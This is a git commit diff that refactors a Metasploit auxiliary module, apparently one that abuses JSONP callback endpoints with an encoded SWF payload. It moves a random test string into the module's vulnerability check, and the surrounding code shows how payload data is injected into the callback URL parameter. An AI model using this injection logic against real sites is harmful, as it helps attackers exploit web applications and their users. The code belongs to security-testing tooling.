Remove unnecessary ||= and ivars.
parent
e0389dfbc3
commit
b8225ae2dc
|
@ -65,6 +65,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
|
test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length)
|
||||||
io = open(exploit_url(test_string))
|
io = open(exploit_url(test_string))
|
||||||
if io.read.start_with? test_string
|
if io.read.start_with? test_string
|
||||||
Msf::Exploit::CheckCode::Vulnerable
|
Msf::Exploit::CheckCode::Vulnerable
|
||||||
|
@ -92,12 +93,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Generates an alphanumeric test string for checking that the JSONP endpoint
|
|
||||||
# allows for long enough callback function names.
|
|
||||||
def test_string
|
|
||||||
@test_string ||= Rex::Text.rand_text_alphanumeric(encoded_swf.length)
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit_url(data_payload)
|
def exploit_url(data_payload)
|
||||||
delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end
|
delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end
|
||||||
"#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}"
|
"#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}"
|
||||||
|
|
Loading…
Reference in New Issue